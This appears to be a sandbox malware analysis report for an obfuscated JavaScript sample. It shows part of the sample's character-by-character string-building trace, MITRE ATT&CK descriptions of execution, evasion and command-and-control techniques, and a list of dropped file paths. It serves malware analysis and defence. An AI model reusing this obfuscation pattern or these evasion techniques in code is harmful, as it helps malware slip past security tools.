1007	azxvfp = "k";
1008	azxvfp = "d";
1009	azxvfp = "I";
1010	rbklot = "X";
1011	rbklot = "Y";
1012	rbklot = "w";
1013	rbklot = "I";
1014	rbklot = "K";
1015	rbklot = "W";
1016	rbklot = "E";
1017	rbklot = "p";
1018	rbklot = "R";
1019	rbklot = "g";
1020	rbklot = "x";
1021	rbklot = "V";
1022	rbklot = "g";
1023	rbklot = "n";
1024	rbklot = "8";
1025	tnifxhg = "k";
1026	tnifxhg = "S";
1027	tnifxhg = "w";
1028	tnifxhg = "Q";
1029	tnifxhg = "N";
1030	tnifxhg = "X";
1031	tnifxhg = "i";
1032	tnifxhg = "u";
1033	zujckhuma = "c";
1034	zujckhuma = "n";
1035	zujckhuma = "v";
1036	zujckhuma = "I";
1037	zujckhuma = "e";
1038	zujckhuma = "p";
1039	zujckhuma = "N";
1040	zujckhuma = "v";
1041	zujckhuma = "o";
1042	zujckhuma = "y";
1043	zujckhuma = "m";
1044	zujckhuma = "h";
1045	zujckhuma = "m";
1046	zujckhuma = "C";
1047	zujckhuma = "b";
1048	zujckhuma = "f";
1049	zujckhuma = "U";
1050	zujckhuma = "z";
1051	zujckhuma = "P";
1052	zujckhuma = "B";
1053	zujckhuma = "z";
1054	zujckhuma = "P";
1055	zujckhuma = "z";
1056	zujckhuma = "F";
1057	zujckhuma = "d";
1058	zujckhuma = "z";
1059	zujckhuma = "J";
1060	zujckhuma = "H";
1061	zujckhuma = "F";
1062	zujckhuma = "U";
1063	zujckhuma = "m";
1064	zujckhuma = "D";
1065	zujckhuma = "n";
1066	zujckhuma = "-";
1067	utmdhuxy = "y";
1068	utmdhuxy = "X";
1069	utmdhuxy = "u";
1070	utmdhuxy = "T";
1071	utmdhuxy = "Z";
1072	utmdhuxy = "b";
1073	utmdhuxy = "l";
1074	utmdhuxy = "F";
1075	utmdhuxy = "Q";
1076	utmdhuxy = "R";
1077	utmdhuxy = "J";
1078	utmdhuxy = "R";
1079	utmdhuxy = "L";
1080	utmdhuxy = "C";
1081	utmdhuxy = "s";
1082	utmdhuxy = "k";
1083	utmdhuxy = "v";
1084	utmdhuxy = "A";
1085	utmdhuxy = "O";
1086	utmdhuxy = "O";
1087	utmdhuxy = "P";
1088	utmdhuxy = "H";
1089	utmdhuxy = "F";
1090	utmdhuxy = "o";
1091	utmdhuxy = "R";
1092	utmdhuxy = "y";
1093	utmdhuxy = "D";
1094	utmdhuxy = "T";
1095	utmdhuxy = "M";
1096	utmdhuxy = "z";
1097	utmdhuxy = "Y";
1098	utmdhuxy = "H";
1099	utmdhuxy = "s";
1100	utmdhuxy = "o";
1101	utmdhuxy = ".";
1102	tnbbwhebr = "g";
1103	tnbbwhebr = "O";
1104	tnbbwhebr = "r";
1105	tnbbwhebr = "j";
1106	tnbbwhebr = "C";
1107	tnbbwhebr = "P";
1108	hmvqo = "a";
1109	hmvqo = "u";
1110	hmvqo = "F";
1111	hmvqo = "T";
1112	hmvqo = "m";
1113	tazubmhad = "B";
1114	tazubmhad = "W";
1115	tazubmhad = "J";
1116	tazubmhad = "p";
1117	tazubmhad = "j";
1118	tazubmhad = "p";
1119	tazubmhad = "k";
1120	tazubmhad = "v";
1121	tazubmhad = "C";
1122	tazubmhad = "t";
1123	tazubmhad = "e";
1124	tazubmhad = "X";
1125	tazubmhad = "n";
1126	tazubmhad = "w";
1127	tazubmhad = "D";
1128	tazubmhad = "X";
1129	tazubmhad = "B";
1130	tazubmhad = "Y";
1131	tazubmhad = "B";
1132	tazubmhad = "j";
1133	tazubmhad = "D";
1134	tazubmhad = "E";
1135	tazubmhad = "V";
1136	tazubmhad = "F";
1137	tazubmhad = "K";
1138	tazubmhad = "y";
1139	tazubmhad = "E";
1140	tazubmhad = "y";
1141	tazubmhad = "z";
1142	tazubmhad = "a";
1143	tazubmhad = "X";
1144	tazubmhad = "s";
1145	tazubmhad = "f";
1146	tazubmhad = "O";
1147	tazubmhad = "j";
1148	tazubmhad = "L";
1149	tazubmhad = "y";
1150	tazubmhad = "M";
1151	tazubmhad = "Y";
1152	tazubmhad = "w";
1153	cevoox = "r";
1154	cevoox = "M";
1155	cevoox = "R";
1156	cevoox = "T";
1157	cevoox = "W";
1158	cevoox = "j";
1159	cevoox = "H";
1160	cevoox = "i";
1161	cevoox = "s";
1162	cevoox = "E";
1163	cevoox = "J";
1164	cevoox = "l";
1165	cevoox = "f";
1166	cevoox = "k";
1167	cevoox = "G";
1168	cevoox = "Q";
1169	cevoox = "n";
1170	obdvtra = "h";
1171	obdvtra = "C";
1172	obdvtra = "r";
1173	obdvtra = "x";
1174	obdvtra = "h";
1175	obdvtra = "X";
1176	obdvtra = "O";
1177	obdvtra = "T";
1178	obdvtra = "u";
1179	obdvtra = "h";
1180	obdvtra = "b";
1181	obdvtra = "J";
1182	obdvtra = "T";
1183	obdvtra = "F";
1184	obdvtra = "i";
1185	obdvtra = "H";
1186	obdvtra = "s";
1187	obdvtra = "t";
1188	obdvtra = "T";
1189	obdvtra = "N";
1190	izlheccrx = "L";
1191	izlheccrx = "w";
1192	izlheccrx = "G";
1193	izlheccrx = "a";
1194	izlheccrx = "Q";
1195	izlheccrx = "p";
1196	izlheccrx = "C";
1197	izlheccrx = "g";
1198	izlheccrx = "l";
1199	izlheccrx = "T";
1200	izlheccrx = "i";
1201	izlheccrx = "w";
1202	izlheccrx = "t";
1203	izlheccrx = "D";
1204	izlheccrx = "r";
1205	izlheccrx = "L";
1206	izlheccrx = "S";
1207	izlheccrx = "F";
1208	izlheccrx = "n";
1209	izlheccrx = "q";
1210	izlheccrx = "m";
1211	izlheccrx = "x";
1212	izlheccrx = "W";
1213	izlheccrx = "v";
1214	izlheccrx = "P";
1215	izlheccrx = "d";
1216	izlheccrx = "i";
1217	izlheccrx = "w";
1218	izlheccrx = "Y";
1219	izlheccrx = "D";
1220	izlheccrx = "A";
1221	izlheccrx = "y";
1222	izlheccrx = "y";
1223	izlheccrx = "D";
1224	izlheccrx = "T";
1225	izlheccrx = "D";
1226	izlheccrx = "i";
1227	izlheccrx = "T";
1228	izlheccrx = "O";
1229	izlheccrx = "m";
1230	izlheccrx = "a";
1231	izlheccrx = "Q";
1232	izlheccrx = "l";
1233	izlheccrx = "f";
1234	izlheccrx = "b";
1235	fepic = "l";
1236	fepic = "M";
1237	fepic = "c";
1238	fepic = "L";
1239	fepic = "H";
1240	fepic = "H";
1241	fepic = "v";
1242	fepic = "r";
1243	fepic = "T";
1244	fepic = "B";
1245	fepic = "J";
1246	fepic = "s";
1247	ighxzzna = "A";
1248	ighxzzna = "I";
1249	ighxzzna = "E";
1250	ighxzzna = "E";
1251	ighxzzna = "A";
1252	ighxzzna = "U";
1253	ighxzzna = "S";
1254	ighxzzna = "W";
1255	ighxzzna = "G";
1256	ighxzzna = "N";
1257	ighxzzna = "h";
1258	ighxzzna = "v";
1259	ighxzzna = "R";
1260	ighxzzna = "r";
1261	ighxzzna = "k";
1262	nvaaf = "u";
1263	nvaaf = "J";
1264	nvaaf = "X";
1265	nvaaf = "W";
1266	nvaaf = "w";
1267	nvaaf = "R";
1268	nvaaf = "E";
1269	nvaaf = "Q";
1270	nvaaf = "q";
1271	nvaaf = "E";
1272	nvaaf = "z";
1273	nvaaf = "q";
1274	nvaaf = "M";
1275	nvaaf = "c";
1276	nvaaf = "u";
1277	nvaaf = "H";
1278	nvaaf = "L";
1279	fcdbwsh = "H";
1280	fcdbwsh = "s";
1281	fcdbwsh = "o";
1282	fcdbwsh = "t";
1283	fcdbwsh = "A";
1284	fcdbwsh = "J";
1285	fcdbwsh = "F";
1286	fcdbwsh = "P";
1287	fcdbwsh = "v";
1288	fcdbwsh = "I";
1289	fcdbwsh = "G";
1290	fcdbwsh = "u";
1291	fcdbwsh = "Z";
1292	fcdbwsh = "x";
1293	fcdbwsh = "E";
1294	fcdbwsh = "K";
1295	fcdbwsh = "a";
1296	fcdbwsh = "P";
1297	fcdbwsh = "W";
1298	fcdbwsh = "P";
1299	fcdbwsh = "o";
1300	fcdbwsh = "G";
1301	fcdbwsh = "G";
1302	fcdbwsh = "M";
1303	fcdbwsh = "r";
1304	fcdbwsh = "F";
1305	fcdbwsh = "U";
1306	fcdbwsh = "4";
1307	abxnz = "n";
1308	abxnz = "v";
1309	abxnz = "f";
1310	abxnz = "f";
1311	abxnz = "u";
1312	abxnz = "d";
1313	abxnz = "I";
1314	abxnz = "O";
1315	abxnz = "n";
1316	abxnz = "h";
1317	abxnz = "V";
1318	abxnz = "W";
1319	abxnz = "y";
1320	abxnz = "g";
1321	abxnz = "U";
1322	abxnz = "g";
1323	abxnz = "e";
1324	abxnz = "t";
1325	abxnz = "d";
1326	abxnz = "b";
1327	abxnz = "j";
1328	abxnz = "F";
1329	abxnz = "f";
1330	abxnz = "s";
1331	abxnz = "x";
1332	abxnz = "p";
1333	zhzyjyhen = "I";
1334	zhzyjyhen = "e";
1335	zhzyjyhen = "S";
1336	zhzyjyhen = "p";
1337	zhzyjyhen = "U";
1338	zhzyjyhen = "b";
1339	zhzyjyhen = "f";
1340	ilsxqqt = "o";
1341	ilsxqqt = "K";
1342	ilsxqqt = "m";
1343	ilsxqqt = "g";
1344	ilsxqqt = "Z";
1345	ilsxqqt = "K";
1346	ilsxqqt = "X";
1347	ilsxqqt = "K";
1348	ilsxqqt = "R";
1349	ilsxqqt = "Q";
1350	ilsxqqt = "L";
1351	ilsxqqt = "H";
1352	ilsxqqt = "k";
1353	ilsxqqt = "O";
1354	ilsxqqt = "t";
1355	ilsxqqt = "x";
1356	otqxcosa = "m";
1357	otqxcosa = "l";
1358	otqxcosa = "C";
1359	otqxcosa = "r";
1360	otqxcosa = "D";
1361	otqxcosa = "T";
1362	otqxcosa = "t";
1363	otqxcosa = "M";
1364	otqxcosa = "c";
1365	otqxcosa = "T";
1366	otqxcosa = "\"";
1367	ykcdgozm = "i";
1368	ykcdgozm = "J";
1369	ykcdgozm = "I";
1370	ykcdgozm = "U";
1371	ykcdgozm = "r";
1372	ykcdgozm = "N";
1373	ykcdgozm = "K";
1374	ykcdgozm = "u";
1375	ykcdgozm = "A";
1376	ykcdgozm = "b";
1377	ykcdgozm = "I";
1378	ykcdgozm = "f";
1379	ykcdgozm = "L";
1380	ykcdgozm = "y";
1381	ykcdgozm = "y";
1382	ykcdgozm = "X";
1383	ykcdgozm = "F";
1384	ykcdgozm = "m";
1385	ykcdgozm = "e";
1386	ykcdgozm = "c";
1387	ykcdgozm = "e";
1388	ykcdgozm = "l";
1389	ykcdgozm = "j";
1390	ykcdgozm = "L";
1391	ykcdgozm = "m";
1392	ykcdgozm = "R";
1393	ykcdgozm = "m";
1394	ykcdgozm = "S";
1395	ykcdgozm = "F";
1396	ykcdgozm = "A";
1397	ykcdgozm = "P";
1398	ykcdgozm = "e";
1399	ykcdgozm = "k";
1400	ykcdgozm = "M";
1401	ykcdgozm = "o";
1402	ykcdgozm = "M";
1403	ykcdgozm = "N";
1404	ykcdgozm = "r";
1405	ykcdgozm = "x";
1406	ykcdgozm = "O";
1407	ykcdgozm = "E";
1408	pwmeinpo = "J";
1409	pwmeinpo = "I";
1410	pwmeinpo = "D";
1411	pwmeinpo = "L";
1412	pwmeinpo = "M";
1413	pwmeinpo = "y";
1414	pwmeinpo = "X";
1415	pwmeinpo = "p";
1416	pwmeinpo = "A";
1417	pwmeinpo = "D";
1418	pwmeinpo = "k";
1419	pwmeinpo = "O";
1420	pwmeinpo = "u";
1421	pwmeinpo = "d";
1422	pwmeinpo = "T";
1423	pwmeinpo = "M";
1424	pwmeinpo = "F";
1425	pwmeinpo = "P";
1426	pwmeinpo = "H";
1427	pwmeinpo = "k";
1428	pwmeinpo = "s";
1429	pwmeinpo = "z";
1430	pwmeinpo = "U";
1431	pwmeinpo = "N";
1432	pwmeinpo = "X";
1433	pwmeinpo = "J";
1434	pwmeinpo = "u";
1435	pwmeinpo = "S";
1436	pwmeinpo = "e";
1437	radrmbw ( );	radrmbw() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3144522639186114061.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5ed6b7b2-c0e5-45c6-a965-242e4aa57446.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF581c84.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ac21c20a-3d9d-4c89-8659-cee4970a2abf.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
3144522639186114061.js